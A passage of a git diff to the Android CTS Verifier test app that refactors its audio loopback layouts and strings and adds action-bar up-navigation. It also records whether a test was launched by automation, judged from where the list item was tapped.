android:text="@string/frequency_mic_test_noise_result"
@@ -128,7 +130,8 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
- android:layout_weight="2">
+ android:layout_weight="2"
+ android:id="@+id/frequency_mic_layout_test_usb_background_dut_buttons">
<Button
android:layout_width="wrap_content"
@@ -178,7 +181,8 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
- android:layout_weight="2">
+ android:layout_weight="2"
+ android:id="@+id/frequency_mic_layout_test_usb_noise_dut_buttons">
<Button
android:layout_width="wrap_content"
@@ -202,7 +206,8 @@
android:layout_width="0dp"
android:layout_height="wrap_content"
android:orientation="vertical"
- android:layout_weight="1">
+ android:layout_weight="1"
+ android:id="@+id/frequency_mic_layout_test_usb_noise_src_buttons">
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
@@ -222,11 +227,11 @@
android:layout_height="1dp"
android:background="?android:colorAccent" />
- <TextView
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:text="@string/frequency_mic_test_global_result"
- android:id="@+id/frequency_mic_test_global_result" />
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/frequency_mic_test_global_result"
+ android:id="@+id/frequency_mic_test_global_result" />
<include layout="@layout/pass_fail_buttons" />
</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_activity.xml
deleted file mode 100644
index 89d2e19..0000000
--- a/apps/CtsVerifier/res/layout/audio_loopback_activity.xml
+++ /dev/null
@@ -1,153 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<LinearLayout
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="vertical"
- style="@style/RootLayoutPadding">
-
- <ScrollView
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:id="@+id/scrollView"
- >
-
- <LinearLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="vertical"
- >
-
- <TextView
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"
- android:gravity="bottom"
- android:id="@+id/audio_general_headset_port_exists"
- android:text="@string/audio_general_headset_port_exists" />
-
- <LinearLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="horizontal"
- >
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:id="@+id/audio_general_headset_no"
- android:text="@string/audio_general_headset_no"
- android:nextFocusForward="@+id/audio_general_headset_yes"
- android:nextFocusDown="@+id/audio_loopback_plug_ready_btn"
- android:nextFocusRight="@+id/audio_general_headset_yes" />
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:id="@+id/audio_general_headset_yes"
- android:text="@string/audio_general_headset_yes"
- android:nextFocusForward="@+id/audio_loopback_plug_ready_btn"
- android:nextFocusDown="@+id/audio_loopback_plug_ready_btn"
- android:nextFocusLeft="@+id/audio_general_headset_no"
- android:nextFocusRight="@+id/audio_loopback_plug_ready_btn" />
-
- </LinearLayout>
-
- <LinearLayout
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:orientation="vertical"
- android:id="@+id/audio_loopback_headset_port"
- >
-
- <TextView
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"
- android:gravity="bottom"
- android:id="@+id/info_text"
- android:text="@string/audio_loopback_instructions" />
-
- <Button
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:id="@+id/audio_loopback_plug_ready_btn"
- android:text="@string/audio_loopback_plug_ready_btn"
- android:nextFocusForward="@+id/audio_loopback_level_seekbar"
- android:nextFocusUp="@+id/audio_general_headset_yes"
- android:nextFocusDown="@+id/audio_loopback_level_seekbar"
- android:nextFocusLeft="@+id/audio_general_headset_yes"
- android:nextFocusRight="@+id/audio_loopback_level_seekbar" />
-
- <LinearLayout
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:id="@+id/audio_loopback_layout"
- >
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/audio_loopback_instructions2"
- android:id="@+id/audio_loopback_instructions2" />
-
- <SeekBar
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:id="@+id/audio_loopback_level_seekbar"
- android:nextFocusForward="@+id/audio_loopback_test_btn"
- android:nextFocusUp="@+id/audio_loopback_plug_ready_btn"
- android:nextFocusDown="@+id/audio_loopback_test_btn"
- android:nextFocusLeft="@+id/audio_loopback_plug_ready_btn"
- android:nextFocusRight="@+id/audio_loopback_test_btn" />
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/audio_loopback_level_text"
- android:id="@+id/audio_loopback_level_text" />
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/audio_loopback_test_btn"
- android:id="@+id/audio_loopback_test_btn"
- android:nextFocusForward="@+id/pass_button"
- android:nextFocusUp="@+id/audio_loopback_level_seekbar"
- android:nextFocusDown="@+id/pass_button"
- android:nextFocusLeft="@+id/audio_loopback_level_seekbar"
- android:nextFocusRight="@+id/pass_button" />
-
- <ProgressBar
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:id="@+id/audio_loopback_progress_bar" />
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/audio_loopback_results_text"
- android:id="@+id/audio_loopback_results_text" />
- </LinearLayout>
-
- </LinearLayout>
- <include layout="@layout/pass_fail_buttons" />
- </LinearLayout>
- </ScrollView>
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml
new file mode 100644
index 0000000..4d0ba8d
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical">
+
+ <TextView
+ android:text="@string/audioLoopbackInputLbl"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textSize="18sp"/>
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:paddingLeft="10dp"
+ android:paddingRight="10dp"
+ android:id="@+id/audioLoopbackInputLbl"
+ android:textSize="18sp"/>
+
+ <TextView
+ android:text="@string/audioLoopbackOutputLbl"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textSize="18sp"/>
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:paddingLeft="10dp"
+ android:paddingRight="10dp"
+ android:id="@+id/audioLoopbackOutputLbl"
+ android:textSize="18sp"/>
+
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml
new file mode 100644
index 0000000..f59afeb
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical">
+
+ <ProgressBar
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:id="@+id/audio_loopback_progress_bar" />
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/audio_loopback_results_text"
+ android:id="@+id/audio_loopback_results_text" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml
new file mode 100644
index 0000000..a738826
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical">
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/loopback_test_question"/>
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal">
+
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:soundEffectsEnabled="false"
+ android:text="@string/audio_general_yes"
+ android:id="@+id/loopback_tests_yes_btn" />
+
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:soundEffectsEnabled="false"
+ android:text="@string/audio_general_no"
+ android:id="@+id/loopback_tests_no_btn" />
+
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:soundEffectsEnabled="false"
+ android:text="@string/audio_general_info"
+ android:id="@+id/loopback_tests_info_btn" />
+ </LinearLayout>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
new file mode 100644
index 0000000..c8c7a69
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical"
+ style="@style/RootLayoutPadding">
+
+ <ScrollView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:id="@+id/scrollView">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical">
+
+ <include layout="@layout/audio_loopback_header_layout"/>
+
+ <LinearLayout
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:orientation="vertical"
+ android:id="@+id/audio_loopback_headset_port">
+
+ <include layout="@layout/audio_loopback_volume_layout" />
+
+ <include layout="@layout/audio_loopback_device_layout" />
+
+ <LinearLayout
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:id="@+id/audio_loopback_layout">
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/audio_loopback_test_btn"
+ android:id="@+id/audio_loopback_test_btn"
+ android:nextFocusForward="@+id/pass_button"
+ android:nextFocusUp="@+id/audio_loopback_level_seekbar"
+ android:nextFocusDown="@+id/pass_button"
+ android:nextFocusLeft="@+id/audio_loopback_level_seekbar"
+ android:nextFocusRight="@+id/pass_button" />
+
+ </LinearLayout>
+
+ <include layout="@layout/audio_loopback_footer_layout"/>
+
+ </LinearLayout>
+ <include layout="@layout/pass_fail_buttons" />
+ </LinearLayout>
+ </ScrollView>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml
new file mode 100644
index 0000000..b85985e
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:id="@+id/audio_loopback_layout">
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/audio_loopback_instructions2"
+ android:id="@+id/audio_loopback_instructions2" />
+
+ <SeekBar
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:id="@+id/audio_loopback_level_seekbar"
+ android:nextFocusForward="@+id/audio_loopback_test_btn"
+ android:nextFocusUp="@+id/audio_loopback_plug_ready_btn"
+ android:nextFocusDown="@+id/audio_loopback_test_btn"
+ android:nextFocusLeft="@+id/audio_loopback_plug_ready_btn"
+ android:nextFocusRight="@+id/audio_loopback_test_btn" />
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/audio_loopback_level_text"
+ android:id="@+id/audio_loopback_level_text" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index 3182499..e61ba01 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -9,6 +9,8 @@
android:layout_width="match_parent"
android:layout_height="wrap_content">
+ <include layout="@layout/audio_loopback_header_layout"/>
+
<LinearLayout android:orientation="horizontal"
android:layout_width="match_parent"
android:layout_height="wrap_content">
@@ -123,33 +125,9 @@
android:textSize="18sp"/>
</LinearLayout>
- <TextView
- android:text="@string/proAudioInputLbl"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textSize="18sp"/>
+ <include layout="@layout/audio_loopback_device_layout" />
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:paddingLeft="10dp"
- android:paddingRight="10dp"
- android:id="@+id/proAudioInputLbl"
- android:textSize="18sp"/>
-
- <TextView
- android:text="@string/proAudioOutputLbl"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textSize="18sp"/>
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:paddingLeft="10dp"
- android:paddingRight="10dp"
- android:id="@+id/proAudioOutputLbl"
- android:textSize="18sp"/>
+ <include layout="@layout/audio_loopback_volume_layout" />
<Button
android:text="@string/audio_proaudio_roundtrip"
@@ -157,41 +135,7 @@
android:layout_height="wrap_content"
android:id="@+id/proAudio_runRoundtripBtn"/>
- <LinearLayout android:orientation="horizontal"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView
- android:text="@string/proAudioRoundTripLbl"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textSize="18sp"/>
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:paddingLeft="10dp"
- android:paddingRight="10dp"
- android:id="@+id/proAudioRoundTripLbl"
- android:textSize="18sp"/>
- </LinearLayout>
-
- <LinearLayout android:orientation="horizontal"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView
- android:text="@string/proAudioConfidenceLbl"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textSize="18sp"/>
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:paddingLeft="10dp"
- android:paddingRight="10dp"
- android:id="@+id/proAudioConfidenceLbl"
- android:textSize="18sp"/>
- </LinearLayout>
+ <include layout="@layout/audio_loopback_footer_layout"/>
<include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d48adcb..b898bc9 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1719,7 +1719,7 @@
<!-- Strings for TestListActivity -->
<string name="wifi_test">Wi-Fi Test</string>
<string name="wifi_test_info">
- The Wi-Fi tests requires an open (no security) access point in the environment along with the DUT.
+ The Wi-Fi tests requires an open or PSK access point in the environment along with the DUT.
\nPlease perform a network settings reset between each test to reset platform\'s internal state which
might interfere with the test flow.\nNavigate to \"Settings -> System -> Reset Options -> Reset Wi-Fi,
mobile & Bluetooth\" to perform a network settings reset.
@@ -1738,7 +1738,7 @@
<string name="wifi_status_need_psk">Need a psk network for this test.</string>
<string name="wifi_status_initiating_scan">Initiating scan.</string>
- <string name="wifi_status_scan_failure">Unable to initiate scan or find any open network in scan results.</string>
+ <string name="wifi_status_scan_failure">Unable to initiate scan or find matching network in scan results.</string>
<string name="wifi_status_connected_to_other_network">Connected to some other network on the device. Please ensure that there is no saved networks on the device.</string>
<string name="wifi_status_initiating_network_request">Initiating network request.</string>
<string name="wifi_status_network_wait_for_available">Waiting for network connection. Please click the network in the dialog that pops up for approving the request.</string>
@@ -2356,7 +2356,7 @@
<!-- Strings for CA cert installation via intent test -->
<string name="cacert_install_via_intent">CA Cert install via intent</string>
<string name="cacert_install_via_intent_title">This test attempts to install a CA certificate via an intent.</string>
- <string name="cacert_install_via_intent_info">Attempt installing a CA certificate via an intent, which should fail. If you see a dialog redirecting the user to Settings for installing the certificate, the test passed. If a any other dialog comes up, the test failed.</string>
+ <string name="cacert_install_via_intent_info">Attempt installing a CA certificate via an intent, which should not be possible. Tapping Go should show a dialog telling the user that CA certificates can put their privacy at risk and must be installed via Settings. If a any other dialog comes up, the test failed.</string>
<!-- Strings for Widget -->
<string name="widget_framework_test">Widget Framework Test</string>
@@ -3983,7 +3983,7 @@
Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
\'Set restriction\' button to set the user restriction.
Then press \'Go\' to open \'Multiple users\' setting. \n
- Click the Settings icon adjacent to the managed user.\n\n
+ Click the managed user to open settings.\n\n
Mark this test as passed if:\n\n
- \"Delete User\" is disabled.\n
@@ -4830,10 +4830,8 @@
<string name="proAudioHasProAudiolbl">Has Pro Audio</string>
<string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
- <string name="proAudioInputLbl">Audio Input:</string>
- <string name="proAudioOutputLbl">Audio Output:</string>
- <string name="proAudioRoundTripLbl">Round Trip Latency:</string>
- <string name="proAudioConfidenceLbl">Confidence:</string>
+ <string name="audioLoopbackInputLbl">Audio Input:</string>
+ <string name="audioLoopbackOutputLbl">Audio Output:</string>
<string name="proAudioMidiHasMIDILbl">Has MIDI Support</string>
<string name="proAudioMIDIInputLbl">MIDI Input:</string>
@@ -4843,8 +4841,6 @@
<string name="proAudioHDMISupportLbl">HDMI Support:</string>
<string name="proAudioHasHDMICheckBox">Has HDMI Support</string>
- <string name="audio_proaudio_loopbackbtn">Start Loopback</string>
- <string name="audio_proaudio_loopbackInfoBtn">Loopback Instructions</string>
<string name="audio_proaudio_roundtrip">Round-Trip Test</string>
<string name="audio_proaudio_NA">N/A</string>
<string name="audio_proaudio_pending">pending...</string>
@@ -4904,15 +4900,23 @@
<string name="audio_general_default_false_string">false</string>
<string name="audio_general_default_true_string">true</string>
<string name="audio_general_warning">Warning</string>
- <string name="audio_general_ok">Ok</string>
<string name="audio_general_level_not_max">Audio Level is not maximum. Please check your device
is set to max level for audio playback.</string>
+ <string name="audio_general_no">No</string>
+ <string name="audio_general_yes">Yes</string>
+ <string name="audio_general_info">Info</string>
+ <string name="audio_general_ok">Ok</string>
+
<!-- Audio Loopback Latency Test -->
- <string name="audio_loopback_test">Audio Loopback Latency Test</string>
+ <string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
<string name="audio_loopback_info">
- This test requires the Loopback Plug. Please connect a Loopback Plug into the headset
- connector, and proceed with the instructions on the screen.
+ This test requires some form of audio loopback. This can be either:\n
+ - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> connected to a 3.5mm headset jack.\n
+ - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> connected to a USB audio adapter.\n
+ - a USB interface with patch cords connecting the input and output jaccks.
+ Please connect one of these Loopback mechanisms, and proceed with the instructions
+ on the screen.
The system will measure the input-output audio latency by injecting a pulse on the output,
and computing the distance between replicas of the pulse.
You can vary the Audio Level slider to ensure the pulse will feed back at adequate levels.
@@ -5332,11 +5336,13 @@
This test requires that you have connected a supported USB Audio Peripheral device
(not a headset) and that peripheral\'s audio outputs are connected to the peripherals\'s
audio inputs. Alternatively, for devices with an analog audio jack or USB-c Digital
- to Analog dongle, a Loopback Plug can be used. Also, any if there is an input level
+ to Analog dongle, a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>
+ can be used. Also, if there is an input level
control on the peripheral, it must be set to a non-zero value. When the test has
verified support for a valid audio peripheral, press the \"Round-Trip Test\" button
- to complete the test. Note that it may be necessary to run the latency test more than
- once to get a sufficient confidence value.
+ to complete the test.
+ The latency measurement is generally accurate even when the volume is low. But you may
+ need to increase the volume to bring the confidence number above the threshold.
</string>
<string name="proaudio_hdmi_infotitle">HDMI Support</string>
<string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate
@@ -5611,4 +5617,13 @@
1. All buttons are fully visible \n
2. All buttons are clickable. \n
</string>
+
+ <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
+ <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
+ <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
+ This can be done in one of three ways:\n
+ 1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
+ 2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
+ 3. Connect a USB audio interface peripheral and connect the outputs to the inputs with an audio patch cable.
+ </string>
</resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 1505aca..99df613 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -20,7 +20,9 @@
import android.app.ListActivity;
import android.content.Intent;
import android.content.res.Configuration;
+import android.graphics.Rect;
import android.os.Bundle;
+import android.view.MotionEvent;
import android.view.View;
import android.view.Window;
import android.widget.ListView;
@@ -28,17 +30,26 @@
/** {@link ListActivity} that displays a list of manual tests. */
public abstract class AbstractTestListActivity extends ListActivity {
private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
+ //An invalid value which smaller than the edge of coordinate on the screen.
+ private static final float DEFAULT_CLICKED_COORDINATE = -1;
protected TestListAdapter mAdapter;
- // Start time of test item.
+ // Start time of test case.
protected long mStartTime;
- // End time of test item.
+ // End time of test case.
protected long mEndTime;
+ // X-axis of clicked coordinate when entering a test case.
+ protected float mCoordinateX;
+ // Y-axis of clicked coordinate when entering a test case.
+ protected float mCoornidateY;
+ // Whether test case was executed through automation.
+ protected boolean mIsAutomated;
protected void setTestListAdapter(TestListAdapter adapter) {
mAdapter = adapter;
setListAdapter(mAdapter);
mAdapter.loadTestResults();
+ setOnTouchListenerToListView();
}
private Intent getIntent(int position) {
@@ -82,11 +93,16 @@
}
TestResult testResult = TestResult.fromActivityResult(resultCode, data);
testResult.getHistoryCollection().add(
- testResult.getName(), mStartTime, mEndTime);
+ testResult.getName(), mStartTime, mEndTime, mIsAutomated);
mAdapter.setTestResult(testResult);
}
// Reset end time to avoid keeping same end time in retry.
mEndTime = 0;
+ // Reset mIsAutomated flag to false
+ mIsAutomated = false;
+ // Reset clicked coordinate.
+ mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+ mCoornidateY = DEFAULT_CLICKED_COORDINATE;
}
/** Launch the activity when its {@link ListView} item is clicked. */
@@ -94,6 +110,10 @@
protected final void onListItemClick(ListView listView, View view, int position, long id) {
super.onListItemClick(listView, view, position, id);
mStartTime = System.currentTimeMillis();
+ //Check whether the clicked coordinate is consistent with the center of the clicked Object.
+ Rect rect = new Rect();
+ view.getGlobalVisibleRect(rect);
+ mIsAutomated = (mCoordinateX == rect.centerX()) && (mCoornidateY == rect.centerY());
handleItemClick(listView, view, position, id);
}
@@ -102,4 +122,23 @@
Intent intent = getIntent(position);
startActivityForResult(intent, LAUNCH_TEST_REQUEST_CODE);
}
+
+ /** Set OnTouchListener to ListView to get the clicked Coordinate*/
+ protected void setOnTouchListenerToListView() {
+ getListView().setOnTouchListener(null);
+ getListView().setOnTouchListener(new View.OnTouchListener(){
+ @Override
+ public boolean onTouch(View v, MotionEvent event) {
+ if (event.getAction() == MotionEvent.ACTION_UP) {
+ mCoordinateX = event.getRawX();
+ mCoornidateY = event.getRawY();
+ } else {
+ // Reset clicked coordinate.
+ mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+ mCoornidateY = DEFAULT_CLICKED_COORDINATE;
+ }
+ return false;
+ }
+ });
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 7776d27..c8a667b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -35,6 +35,8 @@
import android.view.View.OnClickListener;
import android.widget.ImageButton;
import android.widget.Toast;
+import android.app.ActionBar;
+import android.view.MenuItem;
import java.util.List;
import java.util.stream.Collectors;
@@ -180,6 +182,25 @@
@Override
public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ ActionBar actBar = getActionBar();
+ if (actBar != null) {
+ actBar.setDisplayHomeAsUpEnabled(true);
+ }
+ }
+
+ @Override
+ public boolean onOptionsItemSelected(MenuItem item) {
+ if (item.getItemId() == android.R.id.home) {
+ onBackPressed();
+ return true;
+ }
+ return super.onOptionsItemSelected(item);
+ }
+
}
public static class ListActivity extends android.app.ListActivity implements PassFailActivity {
@@ -234,6 +255,25 @@
@Override
public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
+
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ ActionBar actBar = getActionBar();
+ if (actBar != null) {
+ actBar.setDisplayHomeAsUpEnabled(true);
+ }
+ }
+
+ @Override
+ public boolean onOptionsItemSelected(MenuItem item) {
+ if (item.getItemId() == android.R.id.home) {
+ onBackPressed();
+ return true;
+ }
+ return super.onOptionsItemSelected(item);
+ }
}
public static class TestListActivity extends AbstractTestListActivity
@@ -302,6 +342,25 @@
public void updatePassButton() {
getPassButton().setEnabled(mAdapter.allTestsPassed());
}
+
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ ActionBar actBar = getActionBar();
+ if (actBar != null) {
+ actBar.setDisplayHomeAsUpEnabled(true);
+ }
+ }
+
+ @Override
+ public boolean onOptionsItemSelected(MenuItem item) {
+ if (item.getItemId() == android.R.id.home) {
+ onBackPressed();
+ return true;
+ }
+ return super.onOptionsItemSelected(item);
+ }
}
protected static <T extends android.app.Activity & PassFailActivity>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
index 0e7160c..f92d233 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -3,7 +3,6 @@
import com.android.compatibility.common.util.TestResultHistory;
import java.io.Serializable;
-import java.util.AbstractMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
@@ -11,6 +10,7 @@
public class TestResultHistoryCollection implements Serializable {
+ private static final long serialVersionUID = 0L;
private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
/**
@@ -23,30 +23,32 @@
}
/**
- * Add a test result history with test name, start time and end time.
+ * Add a test result history with test name, start time, end time and isAutomated.
*
* @param test a string of test name.
* @param start start time of a test.
* @param end end time of a test.
+ * @param isAutomated whether test case was executed through automation.
*/
- public void add(String test, long start, long end) {
- Set<Map.Entry> duration = new HashSet<>();
- duration.add(new AbstractMap.SimpleEntry<>(start, end));
- mHistoryCollection.add(new TestResultHistory(test, duration));
+ public void add(String test, long start, long end, boolean isAutomated) {
+ Set<TestResultHistory.ExecutionRecord> executionRecords
+ = new HashSet<TestResultHistory.ExecutionRecord> ();
+ executionRecords.add(new TestResultHistory.ExecutionRecord(start, end, isAutomated));
+ mHistoryCollection.add(new TestResultHistory(test, executionRecords));
}
/**
- * Add test result histories for tests containing test name and a set of execution time.
+ * Add test result histories for tests containing test name and a set of ExecutionRecords
*
* @param test test name.
- * @param durations set of start and end time.
+ * @param executionRecords set of ExecutionRecords.
*/
- public void addAll(String test, Set<Map.Entry> durations) {
- TestResultHistory history = new TestResultHistory(test, durations);
+ public void addAll(String test, Set<TestResultHistory.ExecutionRecord> executionRecords) {
+ TestResultHistory history = new TestResultHistory(test, executionRecords);
boolean match = false;
for (TestResultHistory resultHistory: mHistoryCollection) {
if (resultHistory.getTestName().equals(test)) {
- resultHistory.getDurations().addAll(durations);
+ resultHistory.getExecutionRecords().addAll(executionRecords);
match = true;
break;
}
@@ -63,10 +65,12 @@
* @param resultHistoryCollection a set of test result histories.
*/
